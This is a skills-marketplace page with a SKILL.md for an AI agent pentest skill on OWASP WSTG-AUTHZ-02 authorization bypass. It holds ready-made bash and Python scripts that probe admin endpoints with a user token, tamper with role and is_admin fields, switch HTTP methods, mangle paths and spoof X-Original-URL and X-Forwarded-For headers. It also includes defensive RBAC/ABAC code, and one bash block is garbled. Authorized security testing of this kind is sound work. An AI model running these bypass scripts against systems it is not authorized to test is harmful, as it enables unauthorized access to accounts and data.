用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-authz-02命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | wstg-authz-02 |
| description | Testing for Bypassing Authorization Schema |
| category | authorization |
| owasp_id | WSTG-AUTHZ-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authorization","access-control","privilege","wstg","authz"] |
| tech_stack | [] |
| cwe_ids | ["CWE-639"] |
| chains_with | ["wstg-inpv-05","wstg-athn-05","wstg-authz-03"] |
| prerequisites | ["wstg-athn-01"] |
| severity_boost | {"wstg-inpv-05":"IDOR + SQLi = Mass Data Breach (Critical)","wstg-authz-03":"IDOR + Privilege Escalation = Admin Access (Critical)"} |
WSTG-AUTHZ-02
Testing for Bypassing Authorization Schema
Authorization bypass occurs when an attacker gains access to resources or functions without proper permission. This happens when the application fails to enforce access controls consistently, allowing users to access other users' data, perform privileged actions, or access restricted functionality through manipulation of requests, parameters, or application logic.
| Technique | Description |
|---|---|
| Parameter tampering | Changing user_id, role, etc. |
| Forced browsing | Direct URL access |
| HTTP method change | GET→POST, PUT→PATCH |
| Header manipulation | X-Original-URL, X-Rewrite-URL |
| Case manipulation | /Admin vs /admin |
| Path manipulation | /admin/../admin |
# Document what each role should access
# Admin: /admin/*, /api/admin/*
# User: /dashboard, /api/user/*
# Guest: /login, /register, /public/*
# Create test accounts for each role
# Record accessible endpoints for each
token_a=
user_a_id=
user_b_id=
endpoints=(
)
endpoint ;
url=$( | sed )
response=$(curl -s -w \
-H \
)
status=$( | -1)
body=$( | sed )
[ == ];
| -c 200
#!/bin/bash
# Test accessing admin functions as regular user
user_token="regular_user_token_here"
admin_endpoints=(
"/admin/dashboard"
"/admin/users"
"/admin/settings"
"/api/admin/users"
"/api/admin/config"
"/api/admin/logs"
"/management/health"
"/actuator/env"
"/console"
"/swagger-ui/"
)
for endpoint in "${admin_endpoints[@]}"; do
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: Bearer $user_token" \
"https://target.com$endpoint")
status=$(echo "$response" | tail -1)
if [ "$status" == "200" ] || [ "$status" == "301" ] || [ "$status" == "302" ]; then
echo "[POTENTIAL] $endpoint - Status: $status"
fi
done
# Test role parameter manipulation
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"name":"test","role":"admin"}'
# Test is_admin flag
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"name":"test","is_admin":true}'
# Test permission array
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"permissions":["read","write","admin","delete"]}'
# Test group_id escalation
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"group_id":1}' # Admin group
# If GET is blocked, try other methods
methods=("GET" "POST" "PUT" "PATCH" "DELETE" "HEAD" "OPTIONS" "TRACE")
for method in "${methods[@]}"; do
response=$(curl -s -w "%{http_code}" -X "$method" \
-H "Authorization: Bearer $user_token" \
"https://target.com/admin/users" \
-o /dev/null)
echo "$method: $response"
done
# Override method with headers
curl -s "https://target.com/admin/users" \
-H "X-HTTP-Method-Override: GET" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/admin/users" \
-H "X-HTTP-Method: GET" \
-H "Authorization: Bearer $user_token"
# Path manipulation
urls=(
"/admin/users"
"/Admin/users"
"/ADMIN/users"
"/admin/./users"
"/admin/../admin/users"
"/admin%2fusers"
"/admin%252fusers"
"//admin/users"
"/./admin/users"
"/admin/users/"
"/admin/users?"
"/admin/users#"
"/admin/users.json"
"/admin/users;.css"
)
for url in "${urls[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $user_token" \
"https://target.com$url")
if [ "$status" == "200" ]; then
echo "[VULN] Bypass found: $url"
fi
done
# X-Original-URL / X-Rewrite-URL bypass
curl -s "https://target.com/" \
-H "X-Original-URL: /admin/users" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/" \
-H "X-Rewrite-URL: /admin/users" \
-H "Authorization: Bearer $user_token"
# Custom headers some apps use
curl -s "https://target.com/admin/users" \
-H "X-Custom-IP-Authorization: 127.0.0.1" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/admin/users" \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/admin/users" \
-H "X-Real-IP: 127.0.0.1" \
-H "Authorization: Bearer $user_token"
#!/usr/bin/env python3
import requests
import json
from urllib.parse import urljoin
class AuthorizationTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_horizontal_access(self, token, own_id, target_ids, endpoints):
"""Test horizontal privilege escalation"""
print("\n[*] Testing Horizontal Authorization...")
vulnerabilities = []
self.session.headers.update({"Authorization": f"Bearer {token}"})
for endpoint_template in endpoints:
for target_id in target_ids:
endpoint = endpoint_template.replace("{id}", str(target_id))
url = urljoin(self.base_url, endpoint)
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
if str(target_id) != str(own_id):
print(f"[VULN] Horizontal bypass: {endpoint}")
vulnerabilities.append({
"type": "horizontal",
"endpoint": endpoint,
"target_id": target_id
})
except Exception as e:
print(f"[ERROR] {endpoint}: {e}")
return vulnerabilities
def test_vertical_access(self, user_token, admin_endpoints):
"""Test vertical privilege escalation"""
print("\n[*] Testing Vertical Authorization...")
vulnerabilities = []
self.session.headers.update({"Authorization": f"Bearer {user_token}"})
for endpoint in admin_endpoints:
url = urljoin(self.base_url, endpoint)
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
print(f"[VULN] Vertical bypass: {endpoint}")
vulnerabilities.append({
"type": "vertical",
"endpoint": endpoint,
"status": response.status_code
})
elif response.status_code in [301, 302]:
print(f"[CHECK] Redirect on: {endpoint}")
except Exception as e:
print(f"[ERROR] {endpoint}: {e}")
return vulnerabilities
def test_method_bypass(self, token, endpoint):
"""Test HTTP method bypass"""
print(f"\n[*] Testing Method Bypass on {endpoint}...")
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS"]
results = {}
self.session.headers.update({"Authorization": f"Bearer {token}"})
url = urljoin(self.base_url, endpoint)
for method in methods:
try:
response = self.session.request(method, url, timeout=10)
results[method] = response.status_code
if response.status_code == 200:
print(f"[POTENTIAL] {method} returns 200")
except:
results[method] = "error"
return results
def test_url_manipulation(self, token, base_endpoint):
"""Test URL manipulation bypasses"""
print(f"\n[*] Testing URL Manipulation on {base_endpoint}...")
vulnerabilities = []
manipulations = [
base_endpoint.upper(),
base_endpoint.capitalize(),
base_endpoint + "/",
base_endpoint + "?",
base_endpoint + "#",
base_endpoint + ".json",
base_endpoint + ";.css",
base_endpoint + "%20",
"/" + base_endpoint.lstrip("/"),
"//" + base_endpoint.lstrip("/"),
base_endpoint.replace("/", "//"),
base_endpoint.replace("/", "/./"),
base_endpoint + "/../" + base_endpoint.split("/")[-1],
]
self.session.headers.update({"Authorization": f"Bearer {token}"})
for manipulation in manipulations:
url = urljoin(self.base_url, manipulation)
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
print(f"[VULN] Bypass: {manipulation}")
vulnerabilities.append(manipulation)
except:
pass
return vulnerabilities
def test_header_bypass(self, token, endpoint):
"""Test header-based bypasses"""
print(f"\n[*] Testing Header Bypass on {endpoint}...")
vulnerabilities = []
bypass_headers = [
{"X-Original-URL": endpoint},
{"X-Rewrite-URL": endpoint},
{"X-Forwarded-For": "127.0.0.1"},
{"X-Real-IP": "127.0.0.1"},
{"X-Custom-IP-Authorization": "127.0.0.1"},
{"X-Originating-IP": "127.0.0.1"},
{"X-Remote-IP": "127.0.0.1"},
{"X-Client-IP": "127.0.0.1"},
]
base_session = requests.Session()
base_session.headers.update({"Authorization": f"Bearer {token}"})
# First try accessing root with bypass headers
for headers in bypass_headers:
try:
response = base_session.get(
urljoin(self.base_url, "/"),
headers=headers,
timeout=10
)
if response.status_code == 200 and endpoint.lower() in response.text.lower():
print(f"[VULN] Header bypass: {headers}")
vulnerabilities.append(headers)
except:
pass
return vulnerabilities
# Usage
tester = AuthorizationTester("https://target.com")
# Test horizontal access
user_endpoints = [
"/api/users/{id}/profile",
"/api/users/{id}/orders",
"/api/accounts/{id}",
]
vulns = tester.test_horizontal_access(
token="user_token",
own_id=100,
target_ids=[101, 102, 103],
endpoints=user_endpoints
)
# Test vertical access
admin_endpoints = [
"/admin/dashboard",
"/admin/users",
"/api/admin/config",
]
vulns += tester.test_vertical_access("user_token", admin_endpoints)
print(f"\nTotal vulnerabilities: {len(vulns)}")
| Tool | Description | Usage |
|---|---|---|
| Autorize (Burp) | Authorization testing | Auto-detect auth issues |
| AuthMatrix (Burp) | Role-based testing | Matrix of permissions |
| Access Control Testing | Manual testing | Systematic verification |
| Tool | Description |
|---|---|
| Custom scripts | Tailored testing |
| Postman/Newman | API authorization tests |
from functools import wraps
from flask import request, abort, g
def require_permission(permission):
"""Decorator for permission-based access control"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if not g.current_user:
abort(401)
if not g.current_user.has_permission(permission):
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
def require_resource_owner(resource_type):
"""Decorator to verify resource ownership"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
resource_id = kwargs.get('id') or kwargs.get('resource_id')
resource = get_resource(resource_type, resource_id)
if not resource:
abort(404)
if resource.owner_id != g.current_user.id:
if not g.current_user.is_admin:
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage
@app.route('/api/users/<int:id>/profile')
@require_permission('read:profile')
@require_resource_owner('user')
def get_user_profile(id):
return get_user(id).profile
class Permission:
READ_OWN = 'read:own'
READ_ALL = 'read:all'
WRITE_OWN = 'write:own'
WRITE_ALL = 'write:all'
ADMIN = 'admin'
class Role:
ROLES = {
'user': [Permission.READ_OWN, Permission.WRITE_OWN],
'moderator': [Permission.READ_OWN, Permission.WRITE_OWN, Permission.READ_ALL],
'admin': [Permission.READ_OWN, Permission.WRITE_OWN, Permission.READ_ALL,
Permission.WRITE_ALL, Permission.ADMIN],
}
@classmethod
def get_permissions(cls, role_name):
return cls.ROLES.get(role_name, [])
class AuthorizationService:
def __init__(self, user):
self.user = user
self.permissions = Role.get_permissions(user.role)
def can_access_resource(self, resource, action='read'):
"""Check if user can access a resource"""
# Admin can do anything
if Permission.ADMIN in self.permissions:
return True
# Check ownership for 'own' permissions
if resource.owner_id == self.user.id:
if f'{action}:own' in self.permissions:
return True
# Check 'all' permission
if f'{action}:all' in self.permissions:
return True
return False
def can_perform_action(self, action):
"""Check if user can perform an action"""
return action in self.permissions
class ABACPolicy:
def __init__(self):
self.rules = []
def add_rule(self, rule):
self.rules.append(rule)
def evaluate(self, subject, action, resource, context=None):
"""Evaluate all rules"""
for rule in self.rules:
result = rule(subject, action, resource, context)
if result is not None:
return result
return False # Deny by default
# Define rules
def owner_can_read_own_data(subject, action, resource, context):
if action == 'read' and resource.owner_id == subject.id:
return True
return None # Continue to next rule
def admin_can_do_anything(subject, action, resource, context):
if subject.role == 'admin':
return True
return None
def deny_outside_business_hours(subject, action, resource, context):
if context and not context.get('is_business_hours'):
if action in ['write', 'delete']:
return False # Explicitly deny
return None
# Usage
policy = ABACPolicy()
policy.add_rule(admin_can_do_anything)
policy.add_rule(deny_outside_business_hours)
policy.add_rule(owner_can_read_own_data)
# Check access
can_access = policy.evaluate(
subject=current_user,
action='read',
resource=document,
context={'is_business_hours': True}
)
| Finding | CVSS | Severity |
|---|---|---|
| Vertical privilege escalation | 8.8 | High |
| Horizontal privilege escalation | 8.1 | High |
| Missing authorization on sensitive endpoint | 7.5 | High |
| Inconsistent authorization enforcement | 6.5 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-285 | Improper Authorization | Missing/weak auth checks |
| CWE-639 | Authorization Bypass Through User-Controlled Key | IDOR |
| CWE-862 | Missing Authorization | No auth check |
| CWE-863 | Incorrect Authorization | Wrong auth logic |
[ ] Role-based access mapped
[ ] Horizontal authorization tested
[ ] Vertical authorization tested
[ ] Parameter manipulation tested
[ ] HTTP method bypass tested
[ ] URL manipulation bypasses tested
[ ] Header-based bypasses tested
[ ] Client-side controls verified
[ ] All endpoints tested
[ ] API endpoints tested
[ ] Findings documented
[ ] Remediation recommendations provided
基于 SOC 职业分类
